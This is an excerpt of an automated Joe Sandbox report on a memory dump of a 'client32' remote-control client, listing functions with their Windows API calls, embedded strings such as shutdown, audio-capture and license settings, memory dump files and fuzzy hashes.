Instruction Fuzzy Hash: 8AB1E336D0428A9BDB01CFB5DE94BDDFBF5AF14358F144468D8117B284EB32AA08CB61

Function 11131250 Relevance: 26.5, APIs: 8, Strings: 7, Instructions: 241COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 111312FD

Strings

ImageFile, xrefs: 111312BF
Client, xrefs: 111312C4, 111313DF
DecompressJPEGToBitmap, xrefs: 1113150F
PCIImage.dll, xrefs: 111314D7
ImageFileUser, xrefs: 111313DA
DecompressPNGToBitmap, xrefs: 111314F1
%s%s, xrefs: 111312F7

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: wsprintf
String ID: %s%s$Client$DecompressJPEGToBitmap$DecompressPNGToBitmap$ImageFile$ImageFileUser$PCIImage.dll
API String ID: 2111968516-1286714176
Opcode ID: 16156c97f269215458a29c73816be307994206807deff759477be4abbe46c0e1
Instruction ID: cfced163e91c544f1d9a441fe05b752d20d9a2d0abefb67461bd630bfcd17819
Opcode Fuzzy Hash: 16156c97f269215458a29c73816be307994206807deff759477be4abbe46c0e1
Instruction Fuzzy Hash: 0C911975A50319AFEB11DFA4CD84FDAF3B4BF88725F1041A8E519A7284EB30AA40CF51

Function 1100B310 Relevance: 26.4, APIs: 7, Strings: 8, Instructions: 190fileCOMMON

Download Yara Rule

APIs

Part of subcall function 1105DD10: __wcstoi64.LIBCMT ref: 1105DD4D

_malloc.LIBCMT ref: 1100B366

Part of subcall function 11162B51: __FF_MSGBANNER.LIBCMT ref: 11162B6A
Part of subcall function 11162B51: __NMSG_WRITE.LIBCMT ref: 11162B71
Part of subcall function 11162B51: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,?,?,1110F4AE,?,?,?,?,11145032,?,?,?), ref: 11162B96

Part of subcall function 1100AC40: EnterCriticalSection.KERNEL32(000000FF,59FD48C0,?,00000000,00000000), ref: 1100AC84
Part of subcall function 1100AC40: LoadLibraryA.KERNEL32(Kernel32.dll), ref: 1100ACA2
Part of subcall function 1100AC40: GetProcAddress.KERNEL32(?,CancelIo), ref: 1100ACEE
Part of subcall function 1100AC40: InterlockedExchange.KERNEL32(?,000000FF), ref: 1100AD35
Part of subcall function 1100AC40: CloseHandle.KERNEL32(00000000), ref: 1100AD3C
Part of subcall function 1100AC40: _free.LIBCMT ref: 1100AD53
Part of subcall function 1100AC40: FreeLibrary.KERNEL32(?), ref: 1100AD6B
Part of subcall function 1100AC40: LeaveCriticalSection.KERNEL32(?), ref: 1100AD75

EnterCriticalSection.KERNEL32(1100CA5A,Audio,DisableSounds,00000000,00000000,59FD48C0,?,1100CA4A,00000000,?,1100CA4A,?), ref: 1100B39B
CreateFileA.KERNEL32(\\.\NSAudioFilter,C0000000,00000000,00000000,00000003,40000000,00000000,?,1100CA4A,?), ref: 1100B3B8
_calloc.LIBCMT ref: 1100B3E9
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,1100CA4A,?), ref: 1100B40F
LeaveCriticalSection.KERNEL32(1100CA5A,?,1100CA4A,?), ref: 1100B449
LeaveCriticalSection.KERNEL32(1100CA4A,?,?,1100CA4A,?), ref: 1100B46E

Strings

DisableSounds, xrefs: 1100B342
Error. Vista AudioCapture GetInstance ret %s, xrefs: 1100B4C3
InitCaptureSounds NT6, xrefs: 1100B48E
\\.\NSAudioFilter, xrefs: 1100B3B0
Audio, xrefs: 1100B347
Vista new pAudioCap=%p, xrefs: 1100B4D3
Vista AddAudioCapEvtListener(%p), xrefs: 1100B4F3
Error. Vista AddAudioCaptureEventListener ret %s, xrefs: 1100B51C

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$CreateEnterLibrary$AddressAllocateCloseEventExchangeFileFreeHandleHeapInterlockedLoadProc__wcstoi64_calloc_free_malloc
String ID: Audio$DisableSounds$Error. Vista AudioCapture GetInstance ret %s$Error. Vista AddAudioCaptureEventListener ret %s$InitCaptureSounds NT6$Vista AddAudioCapEvtListener(%p)$Vista new pAudioCap=%p$\\.\NSAudioFilter
API String ID: 1843377891-2362500394
Opcode ID: f60393b41353c13c745924059a021ceb37060bf1a09b9967f753d73c688ee9b2
Instruction ID: 3f9b0c4355a442be161718b687c517c7c1a8a488e2b9041c50d9e3709ff29e90
Opcode Fuzzy Hash: f60393b41353c13c745924059a021ceb37060bf1a09b9967f753d73c688ee9b2
Instruction Fuzzy Hash: 8E51D9B5E0464AAFE704CF74DC80BAEF7A4FB04759F10467AE929A3240E7717550C7A1

Function 11125200 Relevance: 24.7, APIs: 8, Strings: 6, Instructions: 240comwindowCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 1112523A
SendMessageA.USER32(?,0000043C,00000000,?), ref: 11125251
CreateILockBytesOnHGlobal.OLE32(00000000,00000001,?), ref: 11125280
StgCreateDocfileOnILockBytes.OLE32(?,00001012,00000000,?), ref: 111252B6

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

OleCreateStaticFromData.OLE32(00000000,111C093C,00000002,?,?,?,?), ref: 111253C2
OleSetContainedObject.OLE32(?,00000001), ref: 111253D8
_memset.LIBCMT ref: 111253E5
CoUninitialize.OLE32 ref: 11125499

Strings

pOleClientSite, xrefs: 1112539A
8, xrefs: 111253ED
pLockBytes, xrefs: 1112529B
pStorage, xrefs: 111252ED
..\CTL32\RichInsert.cpp, xrefs: 11125261, 11125296, 111252E8, 11125395
pRichEditOle, xrefs: 11125266

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Create$BytesLockMessage$ContainedDataDocfileErrorExitFromGlobalInitializeLastObjectProcessSendStaticUninitialize_memsetwsprintf
String ID: ..\CTL32\RichInsert.cpp$8$pLockBytes$pOleClientSite$pRichEditOle$pStorage
API String ID: 1820880743-4036218486
Opcode ID: b8f593f3550aa9e0f779f3b8c62ca3ee8f9d3103c1fcafdad78b4b8c3047e15f
Instruction ID: 08d7bdd5ab5c60396c417d70c353951ed5684100983e189a7c8dd5e42ede2f0c
Opcode Fuzzy Hash: b8f593f3550aa9e0f779f3b8c62ca3ee8f9d3103c1fcafdad78b4b8c3047e15f
Instruction Fuzzy Hash: D69128B5E002599FDB54DFA8CCC4ADDF7B9FB88314F608169E519AB280EB70A941CB50

Function 1102B1D0 Relevance: 24.7, APIs: 6, Strings: 8, Instructions: 220COMMON

Download Yara Rule

APIs

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

GetLastError.KERNEL32(?), ref: 1102B331
GetLastError.KERNEL32(?), ref: 1102B38E
_fgets.LIBCMT ref: 1102B3C0
_strtok.LIBCMT ref: 1102B3E8

Part of subcall function 11163016: __getptd.LIBCMT ref: 11163034

_fgets.LIBCMT ref: 1102B424
_strtok.LIBCMT ref: 1102B438

Strings

WARN: Could not open TS lookup file: "%s" (%d), user="%s", xrefs: 1102B3A1
WARN: clientname is empty!, xrefs: 1102B498
*LookupFile, xrefs: 1102B258
WARN: No TS lookup file specified!, xrefs: 1102B29D
LookupFileUser, xrefs: 1102B2FA
IsA(), xrefs: 1102B286, 1102B363
WARN: LoginUser failed (%d) user="%s", xrefs: 1102B338
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 1102B281, 1102B35E

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorLast$_fgets_strtok$ExitMessageProcess__getptdwsprintf
String ID: *LookupFile$IsA()$LookupFileUser$WARN: Could not open TS lookup file: "%s" (%d), user="%s"$WARN: LoginUser failed (%d) user="%s"$WARN: No TS lookup file specified!$WARN: clientname is empty!$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h
API String ID: 78526175-1484737611
Opcode ID: ff60ef9c488c2c79b08b3262712ada230bbec0adfdbeaabbc1cb1cc15ddf1ff7
Instruction ID: 83a04ffa2f5f23a923324f4189043cfd8b751997b231b4d3af7dc0cd534076c2
Opcode Fuzzy Hash: ff60ef9c488c2c79b08b3262712ada230bbec0adfdbeaabbc1cb1cc15ddf1ff7
Instruction Fuzzy Hash: 2E81B675D00A1E9BDB10DBA4CC80FEEB7B9AF44309F4440D8E919A7245EA75AB84CF91

Function 110274C0 Relevance: 24.7, APIs: 9, Strings: 5, Instructions: 174windowlibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 1105DD10: __wcstoi64.LIBCMT ref: 1105DD4D

LoadLibraryExA.KERNEL32(PCIRES,00000000,00000000,00000009,?,?,?,?,?,?,1102EC26,?,?,View,Client,Bridge), ref: 11027550
LoadIconA.USER32(00000000,00007D0B), ref: 11027565
GetSystemMetrics.USER32(00000032), ref: 1102757E
GetSystemMetrics.USER32(00000031), ref: 11027583
LoadImageA.USER32(00000000,00007D0B,00000001,00000000), ref: 11027593
LoadIconA.USER32(11000000,00000491), ref: 110275AB
GetSystemMetrics.USER32(00000032), ref: 110275BA
GetSystemMetrics.USER32(00000031), ref: 110275BF
LoadImageA.USER32(11000000,00000491,00000001,00000000), ref: 110275D0

Strings

PCIRES, xrefs: 1102754B
AdminUserAcknowledge, xrefs: 1102762B
_License, xrefs: 110274FD
NSM.LIC, xrefs: 110274D1
product, xrefs: 110274F8

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Load$MetricsSystem$IconImage$Library__wcstoi64
String ID: AdminUserAcknowledge$NSM.LIC$PCIRES$_License$product
API String ID: 1946015-4092316048
Opcode ID: d69988e019c4f8bae60b9e5699ba1e389dd656c446835a4005c1e87fa19d827e
Instruction ID: 266221e2c02ccb826b5e3d3fa15dbe6523dfdbad27c253033fa1d47f2ca168a0
Opcode Fuzzy Hash: d69988e019c4f8bae60b9e5699ba1e389dd656c446835a4005c1e87fa19d827e
Instruction Fuzzy Hash: AB512AB4E407266BEB11CBA48C85F7FF6AC9F58758F500065F905E7681EBB0E901C7A2

Function 1103B7A0 Relevance: 24.6, APIs: 3, Strings: 11, Instructions: 140sleepwindowCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 1103B8DF
Sleep.KERNEL32(000001F4), ref: 1103B924
PostMessageA.USER32(000802A6,00000010,00000000,00000000), ref: 1103B94F

Strings

DisablePowerOff, xrefs: 1103B7F7
DisableLogoff, xrefs: 1103B7DA, 1103B850, 1103B90A
AssertOnReboot, xrefs: 1103B882
DisableShutDown, xrefs: 1103B8F3
DisableReboot, xrefs: 1103B814
CLTCONN.CPP, xrefs: 1103B89D
FALSE || !"assertOnReboot", xrefs: 1103B8A2
Client, xrefs: 1103B7DF, 1103B7FC, 1103B819, 1103B855, 1103B90F
GPFOnReboot, xrefs: 1103B8B3
sd - Post WM_CLOSE to %08x, xrefs: 1103B936
_debug, xrefs: 1103B887, 1103B8B8

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountMessagePostSleepTick
String ID: AssertOnReboot$CLTCONN.CPP$Client$DisableLogoff$DisablePowerOff$DisableReboot$DisableShutDown$FALSE || !"assertOnReboot"$GPFOnReboot$_debug$sd - Post WM_CLOSE to %08x
API String ID: 507213284-4185502373
Opcode ID: 533bc2aa1639c3a490ccc359c7053bef949e47a7e51095008674d9cad4864ca0
Instruction ID: 80717d318ace8a1516fe56c6c9f8aedc70c9abe9ba160cb4e89e5a5404e7cce5
Opcode Fuzzy Hash: 533bc2aa1639c3a490ccc359c7053bef949e47a7e51095008674d9cad4864ca0
Instruction Fuzzy Hash: 8A413734B5072BBFEB11EBA58C82F6DF794AB80B4DF600022FA207A1C1E764B540C756

Function 110475A0 Relevance: 23.2, APIs: 4, Strings: 9, Instructions: 402COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 11047B1D

Strings

Info. No logged on user for Register, xrefs: 11047A29
nsmexec.exe, xrefs: 110478D7
P, xrefs: 11047A5C
Login name %s, xrefs: 11047AB8
@, xrefs: 110477D9
DoRegisterUser, xrefs: 110475D3
"%s%s" %s, xrefs: 110478E6
StudentRegister, xrefs: 1104792E
Error. Failed to get username for Register, e=%d, xrefs: 11047A77

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _memset
String ID: "%s%s" %s$@$DoRegisterUser$Error. Failed to get username for Register, e=%d$Info. No logged on user for Register$Login name %s$P$StudentRegister$nsmexec.exe
API String ID: 2102423945-3923501237
Opcode ID: 7ba6ce302c47b0503db26e569d52d618a70cb858999b45b22d8d523b2960ff84
Instruction ID: 8e24205924474c9bfbc8f8a066ef450270d82c25248a7677aea57b4c17336036
Opcode Fuzzy Hash: 7ba6ce302c47b0503db26e569d52d618a70cb858999b45b22d8d523b2960ff84
Instruction Fuzzy Hash: B8F18EB5D1071A9FDB25DB64CC80BAEB7BDAF44308F1085ECE51A97241EB71AE84CB50

Function 11031160 Relevance: 23.0, APIs: 7, Strings: 6, Instructions: 245sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104,59FD48C0,00000000,00000000,00000000), ref: 1103119A

Part of subcall function 1105DD10: __wcstoi64.LIBCMT ref: 1105DD4D

EnumWindows.USER32(110301B0,00000001), ref: 11031272
EnumWindows.USER32(110301B0,00000000), ref: 110312CC
Sleep.KERNEL32(00000014,?,?,?,?,?,00000000), ref: 110312DC
Sleep.KERNEL32(?,?,?,?,?,?,00000000), ref: 11031313

Part of subcall function 11027E50: _memset.LIBCMT ref: 11027E85
Part of subcall function 11027E50: wsprintfA.USER32 ref: 11027EBA
Part of subcall function 11027E50: WaitForSingleObject.KERNEL32(?,000000FF), ref: 11027EFF
Part of subcall function 11027E50: GetExitCodeProcess.KERNEL32(?,?), ref: 11027F13
Part of subcall function 11027E50: CloseHandle.KERNEL32(?,00000000), ref: 11027F45
Part of subcall function 11027E50: CloseHandle.KERNEL32(?), ref: 11027F4E

Sleep.KERNEL32(0000000A,?,?,?,?,?,00000000), ref: 1103132B
SendMessageA.USER32(?,00000010,00000000,00000000), ref: 110313E7

Strings

"%sNSMExec.exe" %s, xrefs: 11031285
close new explorer wnd x%x, xrefs: 110313AF
\Explorer.exe, xrefs: 110311DA
Client, xrefs: 110311B7
No new explorer wnd, xrefs: 110312F3
*ExitMetroDelay, xrefs: 110311B2

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: SleepWindows$CloseEnumHandle$CodeDirectoryExitMessageObjectProcessSendSingleWait__wcstoi64_memsetwsprintf
String ID: "%sNSMExec.exe" %s$*ExitMetroDelay$Client$No new explorer wnd$\Explorer.exe$close new explorer wnd x%x
API String ID: 3887438110-1852639040
Opcode ID: dd4de2a7fc9d8cd5af608a89b0c8565785138ad2200bde7dfaaacefb5c936fd0
Instruction ID: 68f8b224c7beedd47666692ff363fa6bc3684c9dbb57027410f782db2506f70a
Opcode Fuzzy Hash: dd4de2a7fc9d8cd5af608a89b0c8565785138ad2200bde7dfaaacefb5c936fd0
Instruction Fuzzy Hash: 3391D0B5E002299FDB14CF64DC80BEEF7F5AF89308F1441A9D9599B640EB30AE45CB91

Function 110535D6 Relevance: 23.0, APIs: 6, Strings: 7, Instructions: 235COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 1105364E
wsprintfA.USER32 ref: 11053667
_memset.LIBCMT ref: 110536BD
GetTickCount.KERNEL32 ref: 11053738

Strings

Delay, xrefs: 11053725, 11053A87
Channel, xrefs: 110536D2
serial_no, xrefs: 1105376C
Client, xrefs: 110536D7
_License, xrefs: 11053771
%s|%s, xrefs: 1105365B
NameLookup, xrefs: 1105372A, 11053A8C

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountTick_malloc_memsetwsprintf
String ID: %s|%s$Channel$Client$Delay$NameLookup$_License$serial_no
